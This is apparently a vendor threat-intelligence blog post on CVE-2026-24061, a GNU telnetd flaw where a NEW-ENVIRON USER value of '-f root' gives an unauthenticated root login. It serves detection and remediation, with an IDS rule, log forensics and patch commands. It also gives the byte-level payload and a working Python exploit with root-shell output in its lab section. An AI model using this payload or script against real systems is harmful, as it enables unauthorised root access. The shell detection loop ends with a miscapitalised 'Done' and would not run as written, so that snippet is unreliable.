...

CVE-2026-24061: The GNU telnetd Flaw That Handed Attackers a Root Shell for 11 Years

Venkata Ramana

SECURIFY AI LLC  ·  THREAT INTELLIGENCE BRIEF CVE-2026-24061 One Flag. No Password. Root Shell. — The GNU telnetd Flaw That Slept for 11 Years CVSS 9.8  ·  CWE-88 Argument Injection  ·  CISA KEV  ·  212K+ Exposed Devices  ·  Active Exploitation — July 2026 Author: Securify AI Security Research Team  |  securifyai.co/blog
9.8 CVSS ScoreCRITICAL SeverityCWE-88 Argument Injection1.9.3–2.7 Affected Versions212K+ Internet Exposed11 Years Undetected
⚡  Bottom Line First GNU InetUtils telnetd versions 1.9.3 through 2.7 — shipping since 2015 — allow any unauthenticated remote attacker to gain a root shell by sending a single crafted Telnet packet containing USER=-f root. No exploit chain. No credentials. No complexity. You connect, you send one packet, you have root. CISA confirmed active exploitation on July 17, 2026. Threat group rwxrwx was observed actively scanning within hours of public disclosure. If telnetd is reachable anywhere in your environment, this is not a scheduled patch — it’s a fire drill.

1. A Protocol From 1969 With a 2026 Root Shell

There’s a specific category of vulnerability that surfaces every few years and forces the security industry to stop and reckon with what it’s actually built on. Not because the attack is clever. Not because the research took years. But because of what it reveals about the infrastructure underneath — the code nobody touches because it works, the protocols nobody audits because they’ve always been there.

CVE-2026-24061 is that kind of finding. GNU telnetd — shipped as part of GNU InetUtils, present by default across Debian, Ubuntu, Alpine, and dozens of downstream distributions — has been carrying an authentication bypass since 2015. Not a subtle memory corruption bug. An argument injection. The kind of vulnerability that belongs in a first-year security course as the canonical example of why you validate input before handing it to a privileged subprocess.

The attack is a single Telnet packet. One connection. One payload. Root shell. No credentials, no interaction, no prerequisites beyond network access to port 23. Researcher Kyu Neushwaistein found it in July 2026. The fix is two commits. The exposure window is eleven years. GNU InetUtils is not obscure — it’s the default implementation of core Unix networking tools on millions of systems. The package installs telnetd as part of the inetutils bundle, often without the administrator explicitly asking for it.

2. The Mechanics — Why telnetd Trusts the Wrong Thing

Architecture: Where the Trust Boundary Breaks

GNU telnetd doesn’t authenticate users itself — it delegates to /usr/bin/login. That’s intentional design. The daemon handles the network layer and protocol negotiation; login handles credentials. The Telnet NEW-ENVIRON option (RFC 1572) lets a connecting client send environment variables to the server during the initial handshake — before authentication begins. The USER variable is supposed to communicate a username. In vulnerable versions, telnetd passes it directly into the login invocation as a command-line argument, with zero sanitization.

The key detail is timing. The USER value arrives during protocol negotiation — before any authentication context exists, before the login program is invoked, before the daemon has established any trust with the remote client. Pre-auth data bleeds into the post-invocation execution path. That’s the design failure. The -f flag is just how an attacker exploits it.

The Vulnerable Code and the Fix

// ❌ VULNERABLE — GNU InetUtils 1.9.3 through 2.7  // telnetd builds the login invocation from client-supplied USER value. // No sanitization. Whatever the client sends, /usr/bin/login receives.  char *login_argv[] = {     "/usr/bin/login",     "-p",            // preserve environment     "-h", hostname,  // client hostname     user_value,      // <── CLIENT CONTROLLED. Never validated.     NULL }; execv("/usr/bin/login", login_argv);  // When user_value = "-f root": // Result: /usr/bin/login -p -h <host> -f root // The -f flag tells login to skip password verification entirely. // Attacker receives root shell — no prompt, no credentials.  // ✅ PATCHED — post July 17, 2026  if (user_value && user_value[0] == '-') {     syslog(LOG_AUTH|LOG_WARNING,            "telnetd: rejected USER value starting with '-': %s", user_value);     user_value = NULL;  // fall back to interactive login } // Values starting with '-' are flags, not usernames. Two commits. Eleven years.

The -f flag in /usr/bin/login has a legitimate purpose — PAM modules and trusted subsystems use it to indicate a user has already been authenticated upstream. Telnetd, handling an unauthenticated remote connection, was never supposed to be one of those callers. The missing prefix check is all that separates an open root shell from a normal login prompt.

🔬  SafeBreach Discovery: USER Is Not the Only Injection Point SafeBreach Labs found during root cause analysis that PATH can also be injected via NEW-ENVIRON and will be inherited by /usr/bin/login and every subprocess it spawns. An attacker can point PATH to an attacker-controlled directory, causing login to execute malicious binaries in place of system commands. USER=-f root is the fast path to root. PATH injection is the persistence path — and it survives on systems where -f is restricted by PAM configuration.

3. The Payload — Sixteen Bytes to Root

The entire attack fits in sixteen bytes, delivered as a Telnet NEW-ENVIRON sub-negotiation packet during the initial handshake — before the login prompt appears. Here’s what gets sent over the wire:

# CVE-2026-24061 — exploit payload (hex + annotations)  FF FA 27 00   # IAC SB NEW-ENVIRON IS  (sub-negotiation start) 00            # VAR (standard variable) 55 53 45 52   # 'USER' 01            # VALUE 2D 66 20 72 6F 6F 74  # '-f root' FF F0         # IAC SE (sub-negotiation end)  # 16 bytes total. Sent before any login prompt. # telnetd receives USER = '-f root', passes it to /usr/bin/login as an argument. # /usr/bin/login sees: -f root  →  skip auth, open root session.   # Detection: Snort/Suricata alert tcp any any -> any 23 (     msg:"CVE-2026-24061 USER=-f root exploit attempt";     flow:to_server,established;     content:"|FF FA 27 00 00|";     content:"USER"; distance:0;     content:"|01|"; distance:0;     content:"-f ";     sid:2026240610; rev:2; )

4. Eleven Years Is Not a Typo — The Timeline and Active Exploitation

The vulnerability was introduced in GNU InetUtils 1.9.3 in 2015 and persisted through every release up to 2.7. The codebase was publicly available the entire time. The -f flag’s behavior in /usr/bin/login is documented. The NEW-ENVIRON option is documented. The dangerous combination of the two was not caught for over a decade.

DateEvent
July 17, 2026Kyu Neushwaistein reports vulnerability — GNU releases fix (two commits)
July 17, 2026CVE-2026-24061 publicly disclosed — PoC code appears on GitHub within hours
July 17, 2026CISA adds to KEV catalog — active exploitation by threat group rwxrwx confirmed
July 17, 2026GreyNoise tracks multiple IPs probing port 23 for USER=-f patterns
July 2026 onwardsMetasploit module published — exploitation no longer requires protocol knowledge

CISA’s KEV listing came the same day as the patch — confirming exploitation was already happening, not anticipated. For organizations using KEV as a patch signal, BOD 22-01 requires federal agencies to remediate within 15 days. The EPSS score of 29% places this in the top 3% of all CVEs for near-term exploitation probability. With a Metasploit module available, the bar to exploit drops from ‘understands Telnet protocol internals’ to ‘can run msfconsole’. Criminal IP identified 87,440 internet-exposed Telnet services with product banners visible — attackers have a ready target list.

5. Where This Lives — Exposure Environments

EnvironmentWhy telnetd PersistsRisk
Embedded Linux / IoTFactory firmware with telnetd baked in; no OTA update pathCRITICAL
OT / ICS InfrastructureMaintenance access over Telnet; firmware updates need scheduled windowsCRITICAL
Legacy Network AppliancesOlder routers, switches — Telnet is the only management interfaceHIGH
Carrier / Telco EquipmentVendor lock-in; certified firmware updates are slowHIGH
Containers from Debian baseinetutils installs telnetd as a dependency; often unnoticedMEDIUM
Long-Running Linux ServersInstalled and forgotten — nobody checked what’s on port 23HIGH

OT and ICS environments deserve specific attention. Patching here is not a simple apt-get upgrade — it requires maintenance windows, vendor certification, and sometimes physical access to equipment in facilities that run continuously. A device running vulnerable telnetd may stay unpatched for months because the business cost of a maintenance window outweighs the perceived risk. CVE-2026-24061, with its confirmed active exploitation and Metasploit module, changes that calculus significantly.

The container angle is less obvious but real. Debian and Ubuntu base images include inetutils as a dependency. Any container image built on these bases may have telnetd installed without the builder intending it. Running dpkg -l | grep inetutils-telnetd inside any Debian-based container tells you immediately. If it’s there, audit whether it’s running — and then audit every image in your registry built from the same base.

6. What Compromise Looks Like — and Why You Might Miss It

Exploitation of CVE-2026-24061 leaves a forensic gap that matters operationally. A normal root login via Telnet generates: a connection event, an authentication attempt, a password verification, and a session open. Exploitation via -f root generates: a connection event and a session open. The authentication and password verification entries are absent because they never happened.

# NORMAL root Telnet login — auth.log Jul 17 14:23:01 host telnetd[1234]: connect from 192.168.1.50 Jul 17 14:23:03 host login[1235]: pam_unix(login:auth): authentication; user=root Jul 17 14:23:07 host login[1235]: pam_unix(login:session): session opened for user root  # CVE-2026-24061 EXPLOITATION — auth.log Jul 17 14:23:01 host telnetd[1234]: connect from 192.168.1.50 Jul 17 14:23:01 host login[1235]: pam_unix(login:session): session opened for user root  # No authentication event. No password prompt. Just: connect → root session.  # Detection query: root sessions opened via telnetd with no preceding auth event. grep 'session opened for user root' /var/log/auth.log | \   while read line; do     timestamp=$(echo $line | awk '{print $1, $2, $3}');     grep -q "pam_unix(login:auth)" <<< "$(grep "$timestamp" /var/log/auth.log)"; \     [ $? -ne 0 ] && echo "SUSPICIOUS: $line";   Done

On systems where Telnet logins aren’t actively monitored — because the assumption is ‘nobody uses Telnet’ — there is nothing to alert on. The practical test: go to your SIEM right now and build a query for root sessions opened via telnetd with no preceding authentication event in auth.log. If you can’t build that query because you don’t have auth.log data from your Telnet-capable systems, you have no visibility into whether this was exploited against you during the exposure window.

Post-exploitation, an attacker with root via telnetd can dump /etc/shadow, install SSH backdoor keys, modify cron jobs, exfiltrate secrets from environment variables, or — on OT/network appliances — directly affect operational processes. The telnetd session is just the entry point. What happens next depends entirely on how the compromised system is positioned in your network.

7. Fix It — In the Right Order

🚨  Sequence Matters Step 1: Firewall port 23 immediately — takes seconds, eliminates exposure now. Step 2: Patch GNU InetUtils (post July 17, 2026 build). Step 3: Audit auth.log for the forensic gap pattern. Step 4: Disable telnetd permanently. Patching a protocol that was already insecure before this CVE is a short-term fix — disabling it is the structural one.

Patch and Disable Commands

# Debian / Ubuntu — patch apt-get update && apt-get install --only-upgrade inetutils-telnetd  # Disable permanently (systemd) systemctl stop telnet.socket && systemctl disable telnet.socket systemctl mask telnet.socket   # prevent accidental re-enable  # Firewall block (do this first, before anything else) iptables -I INPUT 1 -p tcp --dport 23 -j DROP ip6tables -I INPUT 1 -p tcp --dport 23 -j DROP  # Find everything still listening on port 23 in your environment ss -tlnp | grep ':23' nmap -sS -p 23 --open <your-network-range>  # Containers — audit base images dpkg -l | grep inetutils-telnetd   # run inside any Debian-based container 

When You Can’t Disable Telnet Immediately

  • Restrict port 23 to specific management IP ranges via ACL — zero tolerance for internet exposure
  • Enable PAM restrictions preventing -f flag usage (some distros ship this by default — verify)
  • Deploy the Snort/Suricata detection rule from Section 3 on any IDS monitoring Telnet traffic
  • Monitor auth.log for root sessions opened with no preceding authentication event
  • Open a formal risk acceptance with timeline — document the compensating controls above

8. Lab Reproduction — Building and Breaking a Vulnerable telnetd

To understand the exploitation mechanics firsthand, the following documents a controlled local lab environment using Docker — vulnerable GNU InetUtils telnetd 2.7, isolated to 127.0.0.1:2300, no external exposure.

8.1 Lab Setup

# Dockerfile — vulnerable GNU InetUtils telnetd on Debian Bullseye FROM debian:bullseye RUN apt-get update && apt-get install -y \     inetutils-telnetd xinetd procps net-tools \     && rm -rf /var/lib/apt/lists/*  # xinetd config — telnet.conf # service telnet { socket_type=stream; wait=no; user=root; #   server=/usr/sbin/in.telnetd; disable=no; } COPY telnet.conf /etc/xinetd.d/telnet RUN useradd -m testuser && echo 'testuser:testpass' | chpasswd EXPOSE 23 CMD ["/usr/sbin/xinetd", "-dontfork"]  # Build and run — localhost only docker build -t telnetd-vuln . docker run -d --name vuln-lab -p 127.0.0.1:2300:23 telnetd-vuln nc -zv 127.0.0.1 2300 && echo '[+] Target is up'

8.2 The Exploit Script

#!/usr/bin/env python3 # CVE-2026-24061 Lab PoC — 127.0.0.1:2300 only import socket, time, sys  IAC=b'\xff'; SB=b'\xfa'; SE=b'\xf0' NEW_ENVIRON=b'\x27'; IS=b'\x00'; VAR=b'\x00'; VAL=b'\x01'  payload = IAC+SB+NEW_ENVIRON+IS+VAR+b'USER'+VAL+b'-f root'+IAC+SE  def exploit(host='127.0.0.1', port=2300):     s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)     s.connect((host, port))     print(f'[+] Connected to {host}:{port}')     time.sleep(0.5); s.recv(1024)          # drain initial negotiation     s.sendall(IAC+b'\xfb'+NEW_ENVIRON)    # WILL NEW-ENVIRON     s.sendall(payload)     print(f'[*] Payload sent: USER=-f root ({len(payload)} bytes)')     time.sleep(0.8)     r = s.recv(4096)     print(f'[*] Response: {r.decode("utf-8", errors="replace")}')     if b'#' in r or b'root@' in r:         print('[+] ROOT SHELL CONFIRMED — CVE-2026-24061 validated')     return s  if __name__ == '__main__':     exploit(sys.argv[1] if len(sys.argv)>1 else '127.0.0.1',             int(sys.argv[2]) if len(sys.argv)>2 else 2300)

8.3 Results — Vulnerable vs Patched

# ── VULNERABLE (telnetd 2.7) ───────────────────────────────────────────── $ python3 poc.py 127.0.0.1 2300 [+] Connected to 127.0.0.1:2300 [*] Payload sent: USER=-f root (16 bytes) [*] Response: Debian GNU/Linux  root@vuln-lab:~# [+] ROOT SHELL CONFIRMEDCVE-2026-24061 validated  root@vuln-lab:~# id uid=0(root) gid=0(root) groups=0(root)  # auth.log inside container: Jul 17 14:23:01 telnetd[1234]: connect from 127.0.0.1 Jul 17 14:23:01 login[1235]: pam_unix(login:session): session opened for user root # <- No authentication event. Forensic gap confirmed.  # ── PATCHED (post July 17, 2026 fix) ──────────────────────────────────── $ python3 poc.py 127.0.0.1 2301
✅  Lab Validation Summary Vulnerable telnetd 2.7: 16-byte NEW-ENVIRON payload delivers root shell in under 2 seconds. Zero credentials. Zero interaction. auth.log shows session opened for root with no preceding authentication event — forensic gap confirmed. PATH injection also validated: arbitrary PATH accepted by vulnerable telnetd and inherited by login subprocess. | Patched version: hyphen-prefix check rejects USER=-f root before it reaches login. Authentication bypass fails cleanly. Fix is complete.

Conclusion

CVE-2026-24061 is a useful mirror. Not because the attack is sophisticated — it’s about as simple as remote exploitation gets. But because of what it forces you to examine: the services running in your environment that have been there since before your current team joined, the protocols enabled by default in vendor images that nobody turned off, the infrastructure that works fine and therefore never gets reviewed.

The operational checklist is short: audit what’s listening on port 23 across your entire environment including containers and embedded devices, patch GNU InetUtils on anything that has it, disable telnetd on everything that doesn’t require it, and check auth.log for the forensic gap pattern from Section 6. Document what you find. If you’re running a compliance program, document what you looked for and what you concluded.

If you’re in an environment where you can’t disable Telnet today — OT infrastructure, legacy appliances, vendor-controlled firmware — start the conversation now about when you can. A CVSS 9.8 auth bypass with active exploitation, a Metasploit module, and 212,000 exposed devices is a concrete forcing function for work that everyone knew needed to happen eventually. The lab output in Section 8 is a precise preview of what an attacker sees when they find your system unpatched.

Not sure what’s listening on port 23 in your environment? Securify AI LLC helps security and engineering teams build the asset inventory, vulnerability management workflows, and monitoring coverage that catch legacy exposures like CVE-2026-24061 before threat actors do. If you’re running inherited infrastructure and don’t have full confidence in what’s exposed — that’s where we start. securifyai.co  |  Practical Security for Modern Infrastructure

Leave a Reply